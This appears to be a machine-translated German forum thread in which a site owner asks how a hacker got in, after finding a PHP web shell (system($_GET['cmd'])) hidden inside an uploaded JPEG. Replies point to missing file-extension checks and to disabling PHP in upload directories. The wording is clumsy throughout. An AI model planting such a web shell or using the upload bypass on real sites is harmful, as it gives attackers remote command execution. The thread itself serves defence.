Meine php-site wurde gehackt von codes hochgeladen als Bild..?

Gestern war meine Seite eingebunden. Der Angreifer verpasst dem index.php Datei, um Ihre eigene (mit all Ihrer Herrlichkeit Nachrichten und GRÜßEN). Ich habe benachrichtigt den hosting-Unternehmen über diese (läuft auf einem dedizierten server), und für meinen Teil, ich bin versucht, etwas zu beheben, das scheint die Ursache zu sein, denn ich bin noch nicht in der Lage zu zeigen, wie genau hast unsere server angegriffen wurde, aber ich glaube, ich habe gefunden, bestimmte Skript-basierte Lücken, die möglicherweise die Ursache sein.

Unsere Website hat ein image-uploader form, aber alle hochgeladenen Bilder werden überprüft, ob Sie in der Tat-image-Datei und nicht einige codes mittels php getimagesize-Funktion. Nur, wenn der Bild Typ ist IMAGETYPE_GIF, oder IMAGETYPE_JPEG, oder IMAGETYPE_PNG werden Sie akzeptiert werden. Sonst werden Sie nicht in der Lage, um die Datei hochzuladen. Jedoch fand ich heraus, dass eine hochgeladene Bild-Datei enthält einen php-Skript drin! Sie können das Bild herunterladen hier. Es ist eine gültige Bild-Datei, aber Sie versuchen, öffnen Sie das Bild mit einem beliebigen text-editor und finden Sie ein php-code:

<?php

echo "<pre>"; system($_GET['cmd']); echo "</pre>";

?>

Beispielsweise, das Bild ist hochgeladen zu diesem Ort (www.mysite.com/uploads/picodes.jpg). Beachten Sie, dass der Ordner uploads' - Berechtigung ist 755. Gibt es eine Möglichkeit, in die Welt der Angreifer ausführen kann, das system (oder einem anderen Befehl wie passthru, da wir aus einem anderen Bild hat den gleichen code versteckt wie oben, aber anstelle von system, es hat passthru-Befehl), nur zum Beispiel, die Eingabe von www.mysite.com/uploads/picodes.jpg?cmd=some Befehl ?? Von meinem wissen es nicht getan werden kann (wirklich sehr dankbar, wenn jemand kann beweisen, mich nicht falsch), es sei denn, der Angreifer kann benennen Sie die jpg-Datei in php, und auch, dass diese codes sind tief verborgen im Bild (bitte siehe das Bild im text-editor, um zu verstehen, was ich zu sagen versuche)

Für die Vorsichtsmaßnahmen, die ich deaktiviert habe diese php-Funktionen (exec, passthru, proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system), indem Sie Sie auf die disable_functions in der php.ini.

Ja, ich denke immer noch, dass der Angreifer Zugriff nicht über Internet, sondern über den server nutzen, aber ich denke, dass mein hosting-Unternehmen anders denkt.

  • Je nach der Konfiguration Ihres Servers, wenn Ihr Bild verifier überprüft nicht die Dateinamen, es könnte möglich sein, für diese ausgenutzt werden kann, z.B. wenn der Angreifer lädt die Datei mit einem Namen, der hat ein .php Erweiterung. Aber das ist wirklich eine Frage für die Server Schuld. Ist es das, was Sie wissen wollten?
  • Vielen Dank für die Beantwortung david, aber wie ich schon oben erwähnt, werden alle hochgeladenen Dateien zuerst geprüft werden; nur wenn Sie Bild-Datei (gif,jpg,oder png) werden Sie akzeptiert werden. Sonst wird es verworfen. Also das hochladen einer Datei mit .php-extension oder einem anderen raw-codes mit jeder Erweiterung wird sicherlich scheitern.
  • Nun, Sie sagten, Sie verwenden getimagesize um zu überprüfen, dass das Bild ein Bild ist, aber die Funktion nicht überprüfen Sie die Datei-Erweiterung. Es sieht nur auf den Inhalt der Datei. (Probieren Sie es aus: benennen Sie picodes.jpg zu picodes.php und sehen, was getimagesize("picodes.php") gibt Sie.) Sie müssen also auch explizit überprüfen Sie den Namen, unter dem die Datei hochgeladen wird, und stellen Sie sicher, dass es passt das Bild zurückgegebene Typ von getimagesize.
  • OMG... wie kann ich vergessen, so etwas??!! Vielen Dank, David!
  • php_admin_flag engine off für alle Verzeichnisse/Orte, die Sie speichern, uploads sollten Teil deiner Apache-config.
  • stackoverflow.com/questions/13250471/...

InformationsquelleAutor imin | 2010-08-17
Schreibe einen Kommentar